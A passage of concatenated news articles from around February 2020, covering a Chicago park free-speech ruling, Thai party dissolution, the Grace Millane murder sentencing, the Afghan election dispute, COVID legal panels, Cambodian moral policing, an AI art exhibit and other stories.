courts apply the government speech doctrine in two limited contexts. One context, the judge wrote, is when the government itself speaks. The second, he added, is when the government appropriates public funds to transmit a message through private speakers. Neither of those situations are present here, the judge noted in the order. This case does not involve the appropriation of public funds to transmit a message through private speakers. Nor do movants challenge the governments own speech. The plaintiffs argued that the governments ban limits their ability to engage in protected activity. The government speech doctrine is inapplicable where, as here, the relevant question concerns whether the Citys rules unconstitutionally restrict private speech on public property, Blakey wrote. He set a status hearing for March 4. Plaintiff Gabriel Emerson said the Wheaton student group is thankful to have their speech protected at Millennium Park. [We] look forward to preaching the Gospel there in the days to come, Emerson stated. John Mauck, an attorney representing the students, said in a statement that the ruling benefits anyone who wishes to exercise their First Amendment rights in a traditional public forum, regardless of the political, religious, or ideological content of their message. We are thankful to God for this legal protection and our request to Mayor [Lori] Lightfoot is to desist the Citys misguided efforts to prevent people from freely expressing and exchanging ideas in Millennium Park, Mauck said. Maucks firm, Mauck & Baker, LLC, defends churches, religious institutions, businesses and individuals. A hearing for the case was held on Nov. 8 in which the executive director of the organization that runs Millennium Park agreed that behaviors such as taking a selfie, wearing a funny hat and even talking too loud might be considered violations of the parks disruptive conduct rule. The parks executive director stated in court that even handing a book to a friend could be a violation of the parks rules barring the passing out of written communications, according to Mauck & Baker. While the lawsuit was originally filed on behalf of the four students Matt Swart, Jeremy Chong, Caeden Hood and Emerson former Illinois Gov. Pat Quinn, a Democrat, intervened in the lawsuit on behalf of clients prevented from circulating referendum petitions to park visitors. After Quinn intervened, the American Civil Liberties Union sent a cease and desist letter to the citys Department of Cultural Affairs and Special Events Commissioner Mark Kelly after anti-Trump activists were barred from protesting in the park. A spokesperson for the citys Law Department declined to comment on Blakeys ruling when contacted by the Chicago Sun-Times. Alphabet Inc-owned Google's $2.1 billion bid for fitness trackers company Fitbit could pose privacy risks, the European Data Protection Board (EDPB) warned on Thursday, adding its voice to other critics of the deal. Google announced the deal in November last year, as it seeks to compete with Apple and Samsung in the crowded market for fitness trackers and smart watches. Fitbit, whose fitness trackers and other devices monitor users' daily steps, calories burned and distance travelled, would give the U.S. tech giant access to a trove of health data gathered from Fitbit ... BANGKOK Thailands most dynamic political force in years was ordered disbanded by the countrys Constitutional Court, in a ruling that rights groups say is part of a pattern of judicial harassment aimed at smothering democracy. The Future Forward Party was found to have violated a law governing political parties by accepting a loan from its tycoon leader, Thanathorn Juangroongruangkit, to fund an electoral campaign. The party maintains that the 191 million baht loan, equivalent to about $6 million, was legitimate, and that the campaign financing rules are so ambiguous that it would have been impossible to know whether the loan contravened them. Other political parties have taken out loans without any legal ramifications. For a country where the same politicians and army generals have dominated politics for decades, the Future Forward Party offered something fresh. In elections last year, the first since an army coup in 2014, all of Future Forwards candidates were first-time entrants. The party didnt even exist a year before the elections. Despite its neophyte status, the progressive opposition force surged to a third-place finish in the elections, capturing 81 of the 500 seats in the House of Representatives. (It now has 76.) But the Constitutional Courts ruling Friday has blunted Future Forwards political future. In addition to dissolving the party, the ruling means that Future Forwards senior executives will be banned from politics for 10 years. There is an intention to make the Future Forward Party vanish from Thai politics, said Rangsiman Rome, a student activist turned member of Parliament for Future Forward. Critics of Prayuth Chan-ocha, the 2014 coup leader who is now prime minister, say the legal challenges are designed to hobble a viable opposition. Hannah Beech is a New York Times writer. Cindy Crawford celebrated her 54th birthday by giving back. The supermodel used another year around the sun to ask her fans to think about their environmental impact via social media Thursday. Instead of reveling in her many A-list birthday tributes, the DeKalb, Illinois-born model asked her some 4.6million Instagram followers to mark her special day with a donation to the non-profit Charity: Water. Giving back: Cindy Crawford marked her 54th birthday by asking friends, fans and followers to donate to one of her favorite non-profits Cindy illustrated her love for the ocean with a short video of her sauntering down to the beach. The mother-of-two looked effortlessly elegant as she made her way to the shore wearing a long grey cardigan over a classically chic white one-piece bathing suit. In her caption she implored fans to take a stance on water conservation and clean water accessibility. 'I'm celebrating 54 today with @charitywater,' Cindy wrote. Water is life: Instead of reveling in her many birthday tributes, the DeKalb, Illinois-born model asked her some 4.6million followers to donate to to the non-profit Charity: Water Beachy keen: Cindy illustrated her love for the ocean with a short video of her sauntering down to the beach Scenic: Cindy's husband Rande shared a stunning photo of their surroundings 'Clean water can and should be more accessible to those who need it... and a small donation can make a big difference. Link my bio! Thank you for the birthday love and for helping me pay it forward.' Cindy followed up her call to action with a picture of some cute cupcakes from husband Rande Gerber marking her 54th. Afterwards, friends and family flocked to the comments to send their well-wishes. Sweet deal! Cindy followed up her call to action with a picture of some cute cupcakes from husband Rande Gerber marking her 54th Beloved! Plenty of famous friends flocked to the comments to say 'Happy Birthday!' Muah! Her fellow supermodel Naomi Campbell was sure to send her love. The iconic pair are seen on the catwalk together in 1991 above Star Elizabeth Hurley shared a 'Happy Birthday' with a few dancing lady emojis. Actress Ellen Pompeo wrote: 'Happiest day my love' and a red heart. Michelle Pfeiffer sent Cindy love along with Real Housewife Lisa Rinna, the lovely Lily Aldridge and fellow supermodel Naomi Campbell. Rinna doubled down on her tribute, sharing a selfie where she donned a 'Cindy Crawford' sweatshirt while holding a bottle of hubby Rande Gerber's Casamigos tequila brand. The police officer who caught Grace Millane's killer has revealed the promise he made to her distraught father as the investigation got underway - and the emotional trauma that everyone involved suffered as it went on. David Beard, whose hard work today saw Jesse Kempson jailed for life for Grace's murder, said he met with father David Millane on the first day he arrived in New Zealand while she was still officially missing Beard said he made a simple pledge - to do everything in his power to find her. Grace Millane (right) was strangled to death by her Tinder date as she backpacked around New Zealand in 2018. Today dad David (left) and mother Gillian (centre) saw her killer jailed for life David Beard (right), the officer who oversaw the investigation, has spoken out about the impact it had on him - and the promise he made to Grace's father to do everything to find her 'Every day he'd come to my office, every day we had a chat, sometimes I went and saw him at the hotel,' he told the New Zealand Herald. 'I just saw this really strong man, father figure, head of the family crumbling - and that's tough.' Beard also revealed that he spent hours with David after it was confirmed that Grace was dead, following the discovery of her body inside a suitcase buried in the woods. He said it was important to make sure that David was looked after, because he had been forced to fly across the world without wife Gillian because she was recovering from surgery to treat cancer. 'It was so emotional . . . his wife's on the other side of the world with cancer, he's just been told we've found his daughter murdered yeah, how do you react to that? 'You're numb, maybe you're expecting that at some stage but it still hurts.' He also described the 'huge satisfaction' of being able to give Grace back to her family and provide them with closure, despite the tragic circumstances. Beard travelled to the UK for Grace's funeral in January this year, then returned to New Zealand where he was given his own cancer diagnosis - prostate cancer. His one stipulation while undergoing treatment was that he had to be back at work by November, when Grace's murder trial started. He was there to support her parents throughout the long and often-graphic proceedings, as defence lawyers tried to have Kempson acquitted using what has become known as the 'rough sex defence'. Jesse Kempson (left) was today jailed for life with a minimum of 17 years after a court heard he strangled Grace (right) to death during sex then buried her body in the woods Their efforts failed. In November last year he was found guilty of murder, and on Friday he was jailed for life with a minimum of 17 years. But despite all the emotional ups and downs of the case for everyone involved, Beard insists that it was really about one person: Grace. 'It has to be about Grace,' he said. 'This is about Grace.' As Kempson was jailed, Grace's mother Gillian spoke via satellite link to the court, telling him that she is 'tormented' at how her daughter 'died terrified and alone in a room with you'. She said his 'barbaric actions' were 'beyond comprehension' and described her anguish over the 'terror and pain she must have experienced at your hands'. Justice Simon Moore branded the killer 'depraved' as he rejected the defence barrister's plea that Kempson should be allowed parole after 12 years. In addition, prosecutors today accused Kempson of 're-victimising' Grace and her family with his failed defence that the 21-year-old Briton had died during rough sex gone wrong. Jurors rejected that defence last November, when Kempson was found guilty of murder. Mr Justice Moore told Kempson, who had claimed the killing was accidental in a sex game gone wrong: 'You are a large and powerful man, she was diminutive. You were in a position of total physical dominance. She trusted you.' After Kempson was found guilty of Ms Millane's murder, her father Mr Millane and her mother, Gillian Millane, wept, as did several jurors after the verdict last year Gillian Millane, appeared in court via video link, and read an emotional victim impact statement, saying her daughter 'was my friend, my very best friend' and that the murderer had 'taken my daughter's future' Ms Millane, 21, of Wickford, Essex, met Kempson via Tinder and had returned to his flat after a night out for consensual sex. In his sentencing remarks, Justice Simon Moore said the attack on the 21-year-old was not pre-meditated or driven by rage, but there was no doubt that Ms Millane was vulnerable. Justice Moore described the photos Kempson took of Ms Millane's body as 'depraved' and said his actions showed a 'lack of empathy'. Speaking outside the court Det Insp Scott Beard said using the defence of rough sex had 'further victimised the family'. Kempson, wearing a dark suit, left the dock in silence and showed little emotion as he was led away to begin his prison sentence. The sentencing remarks came after Ms Millane's mother Gillian Millane, appeared in court via video link from the family home and read an emotional victim impact statement, saying her daughter 'was my friend, my very best friend' and that the murderer had 'taken my daughter's future'. Recalling the moment when her daughter disappeared she said that not knowing where she was left her in 'agonising pain', as reported by the NZ Herald. Speaking directly to her daughter's killer, who stood in the dock wearing a dark suit with his head in his hands, she said: 'The terror and pain she must have experienced at your hands, as a mother I would have done anything to change places with her. She died terrified and alone in a room with you.' She added: 'The tears I shed are never-ending at the thought of never having the chance to kiss my Grace goodbye.' Abdullah Slams EU For Recognizing Afghan Presidential Election Results By RFE/RL's Radio Free Afghanistan February 20, 2020 KABUL-- Afghanistan's outgoing Chief Executive Officer Abdullah Abdullah has complained to the European Union about its recognition of final official Afghan presidential election results showing President Ashraf Ghani has been reelected. In a Twitter post that included a copy of his letter of complaint, Abdullah declared on February 20 that the results announced on February 18 from the presidential vote were "illegal and unacceptable to most Afghans." Abdullah alleged that official results showing him in second place behind Ghani were the result of "systemic fraud and serious electoral irregularities" that were carried out "at the behest of a rival team." "As the rightful winners, we decided to form an inclusive government and engage all sides to aim for a just and cohesive outcome," Abdullah said in his February 20 tweet. "We also ask our international friends to remain impartial, adhere to their principled positions, and respect a fair and legal Afghan process and results." Abdullah on February 19 also sent letters to foreign embassies in Kabul asking them not to recognize what he described as "illegal" election results. Abdullah's February 20 letter of complaint was addressed to European Union High Representative Josep Borrell, who also is vice president of the European Commission. Borrell had telephoned Ghani on February 19 to congratulate him on his victory in the September 28, 2019 vote. A statement from Borrell's office said he'd welcomed the fact that "months of intensive verification and an appeal process engaging all interested parties had come to an end." Borrell also said the EU paid tribute to the work of Afghan election officials who were confronted with difficult "challenges." But with the exception of Borrell, there has been a muted response from the international community about Afghanistan's final official vote count -- which showed Ghani with just over 50 percent of the vote and Abdullah trailing in second place with about 39.5 percent. The United Nations Assistance Mission in Afghanistan (UNAMA) was among those issuing a more muted reaction. It said UNAMA "takes note of the announcement of the final results for Afghanistan's presidential election and the work of the country's electoral bodies leading up to the announcement." The UNAMA statement stressed "the importance of any challenge made to the final results of the election process remaining consistent with the regulations of the country and conducted in the interest of stability and cohesion, and in accordance with the constitutional order." UNAMA said it also was "taking note of concerns" expressed by Abdullah and other candidates and their supporters about the final official results. "The United Nations will continue its work to support the people and institutions of Afghanistan, including all political parties, providing impartial and expert advice" to encourage electoral officials to "address the candidates' understandable desire to have clarity on decisions taken related to audits and recounts," it said. Abdullah's running mate, Vice President Abdul Rashid Dostum, has called on his supporters to take to the streets to protest against the reelection of President Ashraf Ghani. Dostum said on February 19 that the final official vote count by Afghanistan's Independent Election Commission (IEC) amounted to a "coup." He called on supporters at a rally in his northern home province of Jowzjan to "hit the streets" to celebrate what he described as a victory for Abdullah. But reports from across Afghanistan say there have been few signs of major protests or celebrations over the final vote count, despite Dostum's rallying cry and Abdullah's public complaints. The nearly five-month delay for the final results to be announced was caused by lengthy recounts undertaken after Abdullah and others raised allegations of electoral fraud. Abdullah's vow to set up an "all inclusive" separate government is reminiscent of the angrily contested 2014 election in which Ghani was also declared as the winner and Abdullah finished second. With additional reporting by AP, Reuters, AFP, and ToloNews Source: https://www.rferl.org/a/abdullah-slams -eu-for-recognizing-afghan-presidential- election-results/30445555.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address | By Laura Lee Over 75,000 identified cases. A death toll over 2,000. Mandatory quarantines, closed borders, and medical supply shortages. Although the novel coronavirus (COVID-19) hit the world stage just six weeks ago, the outbreak of the respiratory virus has caused significant global upheaval. L-R Trudy Henson, JD, Public Health Program director, CHHS; Peter Danchin, JSD, LLM, professor of law and director, International and Comparative Law; David Marcozzi, MD, associate professor and associate chair of Population Health at the School of Medicine; and Diane Hoffmann, director of the Law and Health Care Program and Jacob A. France Professor of Health Care Law. On Feb. 17, the University of Maryland Francis King Carey School of Law convened a panel of experts to delve into the legal ramifications of a widespread public health response to a threat like COVID-19. The panel, attended by students, faculty, and staff, proved to be a fascinating look behind the legal curtain of public health law. Organized by the student-run International Law Society, the discussion was moderated by Diane Hoffmann, JD, MS, director of the Law and Health Care Program and Jacob A. France Professor of Health Care Law. The panel of experts included Trudy Henson, JD, director, Public Health Program at the Center for Health and Homeland Security (CHHS); Peter Danchin, JSD, LLM, professor of law and director, International and Comparative Law Program; and David Marcozzi, MD, MHS-CL, FACEP, associate professor and associate chair of population health, University of Maryland School of Medicine. Citing the daily drumbeat of coronavirus news that includes breathless headlines about super spreaders, quarantines, and hourly death updates, Hoffman asked the panel the question on many peoples minds. Are we overdoing it in terms of precautions? People are wondering, Is it really that serious? The simple answer is, we dont know yet, said Marcozzi, the infectious disease expert on the panel, noting that the information coming from China, the epicenter of the outbreak, is skewed. What we know today is not what we will know tomorrow, he continued, adding that the public health response will and should evolve as more data becomes available. According to Henson, the United States response has in some ways been fairly limited in terms of the public health law powers of the federal government, but in other ways quite exceptional. Henson pointed to Jan. 31, when U.S. Secretary of Health and Human Services Alex Azar declared a public health emergency requiring U.S. citizens returning from Hubei Province in China to undergo 14 days of mandatory quarantine; and U.S. citizens returning from mainland China to be screened at select airports and undergo 14 days of self-monitored quarantine. The 14-day quarantine is the biggest action to date and is really quite extraordinary, said Henson, noting the last time a quarantine was enacted for groups of people in the United States was over 50 years ago during a smallpox outbreak. The declaration also imposed a temporary travel ban on foreign nationals entering the United States from China. Henson said there needs to be a broader discussion about how to modernize quarantine and isolation. She recounted the case of Kaci Hickox, an American nurse who returned from Sierra Leone after treating Ebola virus patients in 2015 and defied a court-ordered quarantine by going for a bike ride. I think a lot of public health officials will tell you, We don't want to have to do mandatory quarantine orders, it's going to be very difficult to enforce, it's not going to be popular, and there's questions about whether it's even really that effective after a certain point. International law expert Danchin said the outbreak is a fascinating moment for international lawyers to be looking at the response, in the global arena, citing the World Health Organizations (WHO) initial reluctance to declare a Public Health Emergency of International Concern (PHEIC) at its first meeting on Jan. 23. The reversal of that decision 10 days later resulted in two significant recommendations, according to Danchin. First, in contrast to the United States' travel ban of foreign nationals, WHO recommended against travel restrictions in favor of surveillance and monitoring. Second, and most significant, is that the WHO response stressed the importance of member states sharing information. The idea is that in a climate of fear and xenophobia and sometimes panic, the community of states need to act on verifiable evidence, Danchin said. Right now, he continued, its a struggle [for WHO] to get accurate information that can provide the data for its policy. Erika Burk, a second-year student and president of Maryland Carey Laws International Law Society, organized the panel discussion in part to help answer some of her own questions. I was seeing a lot about coronavirus in the news, she said. Questions kept popping into my mind as an almost lawyer. What is our role in this kind of situation? What are the relevant laws and policies that we would have to abide by while also maintaining peoples human rights? Kamila Rivas, also a second-year law student, said the panel was a great way for students to tap into the knowledge of Maryland Carey Law professors on an issue that has garnered global attention. Marcozzi, who recently was named the coronavirus incident commander for the University of Maryland Medical System, provided in-depth medical answers to questions about COVID-19 but also reminded the audience of the basics of prevention. Cough in your sleeve. Wash your hands for 20 seconds. If youre sick, stay home, he advised. We asked four authors to pick their recommended reading for Black History Month. The result? A little something for everybody. Heres what they chose. Tea Mutonji, author of Shut Up, Youre Pretty Daughters of Silence by Rebecca Fisseha (Goose Lane Editions): A Canadian flight attendant gets stranded in her home country of Ethiopia. It is raw, funny and compulsive. All you really can do is hold on. Frying Plantain by Zalika Reid-Benta (House of Anansi): The opening story reads: On my first visit to Jamaica, I saw a pigs severed head. Frying Plantain is a journey through cities, through bodies, through language and through relationships. It will make you laugh and it will make you cry. Nadia L. Hohn, author of A Likkle Miss Lou I selected two books based on history and identity, Hohn says. Black Writers Matter an anthology edited by Whitney French (University of Regina Press), features contemporary new and established Canadian writers essays and reflections. Whitney is of Jamaican-Canadian descent and lives in Toronto. It is the next physical book I plan to read. Elijah of Buxton by Christopher Paul Curtis (Scholastic) is a middle-grade novel about Elijah, the first child born free in an early Ontario community of escaped slaves. Curtis has a knack for writing historical middle grade with a modern voice that connects with readers. He is African-American but has lived in Windsor, Ont., for several years. Rebecca Fisseha, author of Daughters of Silence Fire Walkers by Bethlehem Terrefe Gebreyohannes (Mawenzi House), who lives in Toronto. A book about which the Star said: Gebreyohanness vivid memoir describes their yearlong trek across the inhospitable Danakil Desert on foot, a dangerous journey where they met both cruelty and kindness before reaching safety in Djibouti. Abyssinian Nomad: An African Womans Journey of Love, Loss, and Adventure From Cape to Cairo by Maskarm Haile (self-published), who is from Montreal. A memoir of a Black female soul-searcher, faced my greatest trial in confronting my fear of losing my mother to cancer, trying to keep old love alive and make my childhood dream come true. Richardo Keens-Douglas, author of The Nutmeg Princess Oscar Peterson: The Man and His Jazz by Jack Batten (PRH): A wonderful story about Oscar Petersons strength and survival, coming from the ghetto to become one of the best piano players in the world. I like that its a very positive story for young men and boys today. One book that all schools and homes should have is The Kids Book of Black Canadian History by Rosemary Sadlier, illustrated by Wang Qijun (Kids Can Press). It provides a comprehensive picture of the history of Black people in this country. by Laurie Sullivan @lauriesullivan, February 21, 2020 There will be positive and negative impacts from Google's decision to end support for third-party cookies in the Chrome browser, especially in videos -- not only for Google, but also for publishers and advertisers, says Sunil Karkera, global head of TCS Interactive, a business unit of Tata Consultancy Services focused on marketing and advertising. In the short term, advertisers will see a decline in ad inventory, Karkera said, but in the long term the change is positive because they will have an audience to target. The move will also slow the adoption of ad blocking. In parts of North America and Europe, ad blocking has been reduced, especially on desktop. Cookie tracking in browsers slows content and creates too much noise -- noise that creates distractions in browsers when trying to view videos, Karkera said. The ad may only run for 15 seconds, but it takes away the focus. advertisement advertisement Google came to this realization five years ago. Now Chrome has become more important for the company, Karkera said. For the first time last quarter, Google disclosed that YouTube generated about $15 billion last year -- to prove their business model. They are making more of an effort to tell investors and marketers their business is okay, Karkera said. Karkera cites a recent phone call with a product manager with Chrome at Google, in which the two spoke about contextual ads injected into the video content. Cookie deletion in Chrome will come to pass in two years, he said. Blocking interstitial ads will remain part of the strategy until Google and others find a way to innovate around it. This is a positive move for consumers because they will consume content with less distraction and marketers will begin to rely less on first-party and third-party tracking, he said. It will also reduce data and privacy leaks. Third-party cookies are the ID bridge that connects 1st party data with visitor data on desktop, said Charmagne Jacobs, VP head of global marketing at Adslot, an advertising technology company that automates the trading of guaranteed placement of ads. Mobile uses a user ID, and thats what the industrys trying to work out. Without the cookie to connect the data, what will be the new universal ID solution? Microsoft also now runs on Chromium, created by Google for the Chrome browser. Google open-sourced the project, allowing companies like Microsoft to build on the technology. Karkera said Microsoft is trying to double down and one-up Google and Apple. They are trying to innovate on privacy and expand the reach on every platform and use their cloud as the powerhouse. "It doesn't seem like Microsoft thinks Google's engineers are innovating on the speed of the browser," he said. "Microsoft has taken JavaScript engine called V8 to make it run much faster." The public is hereby informed that a small juvenile golden tree snake has recently been sighted in the vicinity of Appadoo Road, Bassin, Quatre Bornes. Officers of the National Parks and Conservation Service as well as representatives of the Mauritius Wildlife Foundation searched the vicinity but to no avail. The snake is mildly venomous and the public is advised not to handle the animal if it is sighted. In case the snake is seen, please call the National Parks and Conservation Service on 4644053 and 4644477 during office hours or Mr Pandoo on 52569740 after office hours. Chrysopelea ornata is usually green in color, with black cross-hatching and yellow or gold colored accents. The body, though slender, is far less so than in other tree snakes. It has a flattened head with constricted neck, a blunt nose and large eyes with round pupils.[1] The lateral, sharp and pronounced keeled condition of the ventrals in association with the normal, not enlarged, vertebral row of scales distinguish this snake. Chrysopelea ornata.The snake's striking looks and capability of gliding make it a popular choice for captivity. This snake ranges from 11.5 to 130 cm (0.38 to 4.27 ft) long. This species is considered mildly venomous, with few confirmed cases of medically significant envenomation. Chrysopelea species are not included in lists of snakes considered venomous to man. They tend to be nervous, fast-moving snakes, and attempt to flee if disturbed, but generally do not hesitate to bite if handled. Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn Articles similaires The archives had initially defended the decision to alter the images. As a nonpartisan, nonpolitical federal agency, we blurred references to the presidents name on some posters, so as not to engage in current political controversy, Miriam Kleiman, a spokeswoman for the agency, said in a statement to The Washington Post, which first reported on the changes. But following the burst of public fury, officials at the museum took down the photo and apologized. We made a mistake, the agency said in a statement. This photo is not an archival record held by the National Archives but one we licensed to use as a promotional graphic. Nonetheless, we were wrong to alter the image. In a reflection of the countrys highly polarized climate, the National Archives and other agencies that are usually seen as inoffensive have provoked criticism in their handling of records and photos and in their efforts to avoid controversy. This month, the National Archives issued a statement countering accusations that it was allowing for the destruction of millions of documents about the mistreatment of immigrants. In 2019, the Library of Congress removed from an exhibit a large mural depicting protesters at the Womens March because there were concerns the image might appear critical of Mr. Trump, according to The Post. In an email to the photographer last May, Betsy Nahum-Miller, the librarys senior exhibition director, wrote the photograph had to be removed because there were a couple of anti-Trump messages that appear very clearly in the image, The Post reported. And after an employee at the National Park Service retweeted photos comparing the inaugural crowds of 2009 and 2017, Mr. Trump called the agencys director and asked if he could produce photos that would show the crowds at his inauguration were bigger than the news media had reported. Health Minister Greg Hunt is under renewed pressure to rein in the use of common surgical items like glues and sponges in private hospitals after Australia's largest health fund blamed its profit fall on an "extraordinary" increase in medical device costs. Private Healthcare Australia chief executive Rachel David said these products were being used in such quantities they were driving up insurers' costs at a time when they needed to make savings to keep a lid on premiums. Health funds are pushing for changes to make surgical glues, sponges and tapes cheaper. Credit:iStock In the year to December 31, health funds reported 0.1 per cent growth in surgeries but 8.3 per cent growth in claims for prostheses, which range from adhesives to replacement hips. "There is a complete disconnect between what's paid for and the procedure done on the patient," Dr David said. "Even though we have completely flat claiming in terms of the number of surgical procedures, the amount of prostheses used in many of those categories went up dramatically." In the latest instance of moral policing, the Cambodian National Police arrested a woman for dressing too provocatively while selling products on Facebook, days after Hun Sen threatened similar action. Thai Srey Neang, who sells clothes, cosmetics and accessories on Facebook, was arrested Wednesday for violating the Law on Suppression of Human Trafficking and Sexual Exploitation, under Article 38 and 39 for the alleged crime of pornography. According to a statement by the National Police, Thai Srey Neang was sent to Phnom Penh Municipal Court to face further legal procedures. She was educated on Tuesday by the National Police, the statement reads, about dressing provocatively and made to sign a letter promising not to do it again. But, the police allege she posted another photo the same night wearing underwear, with this act amounting to a crime for which she was arrested. After signing the agreement and confessing at 11:30 a.m., she was allowed to return home. But by 2:35 p.m., Thai Srey Neang posted a nearly-naked photo showing only her underwear, read the statement. On Monday, Prime Minister Hun Sen, at a meeting with womens rights groups, called out women for wearing sexy clothes online in order to sell products. Samdech Techo Prime Minister also warned of measure against some online product sellers who dress extremely sexy and do live sale promotion of their products via social media, which has an effect on the values, morality, and honor of our Cambodian women, read a post on his official Facebook page. The government in the past has conducted similar acts of moral policing, even banning actress Denny Kwan for a year for being too voluptuous and affecting the honor of Cambodian women. Phnom Penh Court and National Police officials did not respond to requests for comment on the exact nature of Thai Srey Neangs alleged crime or the use of the pornography charge. Kuch Kimlong, deputy prosecutor at the Phnom Penh Municipal Court, and Sar Thet, chief of Phnom Penh Municipal Police, said they were busy and did not respond to the arrest. Rights groups on Tuesday, prior to the arrest, slammed the prime ministers comments, with Amnesty International rejecting his assertion that women were to blame for sexual violence and trafficking. The Prime Ministers order to track down and educate women represents a menacing application of the states surveillance apparatus to advance a discriminatory and patriarchal agenda, read a statement from Amnesty Internationals Regional Director Nicholas Bequelin. A group of local independent activists and organizations said the act of shaming women for their choice of dress was equal to gender-based violence inflicted on women and called for the government to respect womens rights. We would like to appeal to the government to ensure that Cambodia pays respect to the autonomous rights, expression, feeling, and choice of body of women in order to achieve the promotion of gender equality and put an end to violence against gender in Cambodia, read the open letter written to Prime Minister Hun Sen. Ou Sopheary, campaign coordinator of Action Aid Cambodia, who is one of the signatories, said the authorities arrested Thai Srey Neang despite rights groups alerting them to the fallacy of the logic to imprison women for what they wear. Seng Reasey, executive director of Silika, said it was unclear what womens rights issue was being tackled by the authorities by policing these women. What do we want to address at this point? Are we addressing sexual harassment? Are we addressing cases of pornography or what are we addressing? she said. The documentary Viral: Anti-Semitism in Four Mutations begins with a voice-over, as the television star Julianna Margulies (who is Jewish), explains that anti-Semitism infects like a virus and spreads globally in a constant search for a new host. Its a rich metaphor, particularly given that images of infestation have long been used as weapons against Jewish communities. But the film never explicitly places its central image within that history, and this lack of analysis continues to frustrate even when the film hits on resonant ideas. The director, Andrew Goldberg, breaks up his study into four sections, each focusing on attacks from a different quarter. Goldberg identifies these sources as the far right in the United States; the far left in Britain; anti-Semitic governments in Hungary; and Islamic extremists in France. Over 1,000 healthcare workers are striking today in an effort to resolve a dispute over pay restoration. It is the first of a number of strikes that will be rolled out on a phased basis over the coming weeks. Union picket line solid in Co-Action Skibbereen, West Cork. #OurSIPTU members are determined to see this dispute through and win the pay justice they deserve. #Section39 #UnfinishedBusiness pic.twitter.com/t5r3d8VLv1 SIPTU (@SIPTU) February 21, 2020 The workers belonging to SIPTU and Forsa are employed in a number of so-called Section 39 bodies. They are funded by the State to deliver services including hospices and home helps. Forsa members from Delta Care in Carlow on the picket line this morning. Striking for pay justice #unfinishedbusiness #section39 pic.twitter.com/Gh5J3Mzp8b Forsa trade union (@forsa_union_ie) February 21, 2020 SIPTU claims the amount of money required to fairly resolve this dispute is no more than 7m. Paul Bell - who is SIPTU's Health Division Organiser - says they've been left with no other choice but to strike: "There are approximately 5000 employees in these organisations owed money. "Today the strike action will involve approximately 1,000-1,500 of those employees." Niall Shananhan from Forsa explains staff who are striking have found a way to balance their strike action against providing healthcare services: "So a judgement has been made into how to maintain the service while at the same time ensure that members are able to engage in the strike action." General secretary of Forsa, Kevin Callinan, said striking workers have delivered a "clear message" that they have "unfinished business with whoever forms the government." I was happy to join @forsa_union_ie members on the picket line outside @NCBI_sightloss in Drumcondra this morning. With other #Section39workers they are delivering a clear message that they have #UnfinishedBusiness with whoever forms the government. https://t.co/F60PsYppgO Kevin Callinan (@kcallinan50) February 21, 2020 Those taking part in the 24-hour strike argue that they were subject to pay cuts during the austerity years similar to those imposed on their colleagues in the public sector. They say they have the right to pay restoration and pension provision in line with the improvements secured in more recent years by public sector workers. Activists and journalists have been telling us for years that we are handing too much of our human autonomy over to machines and algorithms. Now artists have a showcase in the heart of Silicon Valley to highlight concerns around facial recognition, algorithmic bias and automation. Why it matters: Art and technology have been partners for millennia, as Steve Jobs liked to remind us. But the opening of "Uncanny Valley: Being Human in the Age of AI" tomorrow at the de Young Museum in San Francisco's Golden Gate Park puts art in the role of technology's questioner, challenger and sometimes prosecutor. The big picture: "Uncanny Valley" confronts exhibition goers with powerful images of data monetization, algorithmic bias and the loss of humanity. For one of several pieces in the exhibit, Agnieszka Kurant relied on millions of collaborators. Titled "AAI" (short for "artificial artificial intelligence," a Jeff Bezos coinage referring to human-powered pseudo-AI), the piece consists of several colorful mounds that were constructed over several months by different colonies of termites out of a range of materials including sand, gold particles and broken crystals. Kurant said the piece is inspired by the exploitation of labor in late capitalism, as well as the mining of rare materials. "Essentially these sculptures are models for this hidden exploitation and the entire society becoming one gigantic factory," Kurant said. Another piece by Kurant, "Conversions #1," uses sentiments from tweets from activists around the world to manipulate liquid crystal paint on an interactive canvas. "Even our protests against the status quo are becoming a source of extraction of information about us and are becoming monetized," Kurant said. Other pieces of note: Simon Denny built a version of an Amazon patent specifically a 2016 design for a cage to allow a human worker to navigate through an automated warehouse. Viewed through a phone app or an iPad supplied by the museum, the cage reveals a trapped King Island brown thornbill an Australian endangered bird. specifically a 2016 design for a cage to allow a human worker to navigate through an automated warehouse. Viewed through a phone app or an iPad supplied by the museum, the cage reveals a trapped King Island brown thornbill an Australian endangered bird. Trevor Paglen's "They Took the Faces from the Accused and the Dead " consists of hundreds of faces used to train an artificial intelligence engine, all without any of the subjects' consent. "What we are looking at here is dirty data," curator Claudia Schmuckli said. " consists of hundreds of faces used to train an artificial intelligence engine, all without any of the subjects' consent. "What we are looking at here is dirty data," curator Claudia Schmuckli said. Ian Cheng's "BOB (Bag of Beliefs)" presents an on-screen "virtual serpent" inspired by the designs of animator Hayao Miyazaki that viewers can interact with via a mobile app. Given enough attention and care, the critter will leave the exhibit's monitors and crawl onto spectators' own devices. The piece aims "to remind viewers that an AI entity like BOB should not be treated as omniscient or static. Rather, it should be approached like a child or an animal." presents an on-screen "virtual serpent" inspired by the designs of animator Hayao Miyazaki that viewers can interact with via a mobile app. Given enough attention and care, the critter will leave the exhibit's monitors and crawl onto spectators' own devices. The piece aims "to remind viewers that an AI entity like BOB should not be treated as omniscient or static. Rather, it should be approached like a child or an animal." Lynn Hershman Leeson's piece "Shadow Stalker" illustrates the volume of personal information on the web. Enter your email and the exhibit starts showing a list of places you've been, people you know and your phone numbers (albeit with some parts redacted). Another piece from Leeson, a video, highlights the dangers of predictive policing. "Tech is never neutral," said Schmuckli. "That is a myth." My thought bubble: This exhibition has a way of cutting to the heart of the issues in ways that all of the legislative proposals and interest group statements don't, even as they raise similar concerns. Details: The exhibit runs through Oct. 25. If you are going to be in the Bay Area between now and then, it's definitely worth checking out. Go deeper: A tug-of-war over biased AI A 28-year-old man has been charged in connection with an attempted car-jacking in Dublin on Tuesday. Martin Reilly of Tailteann Drive, Navan, Co Meath appeared before Blanchardstown District Court this morning. Gardai were called to the scene of an attempted car-jacking in Finglas on February 18. The driver of the car, a woman in her 20s, was allegedly threatened with a syringe and forcibly removed from the vehicle. The man fled the scene after a number of passer-bys came to help the woman. Martin Reilly was later arrested at Charlestown Shopping Centre in connection with the incident. This morning he was charged with unlawfully seizing a vehicle and producing a syringe with the intention to threaten or harm. He faces further charges relating to theft and possession of stolen property at Charlestown 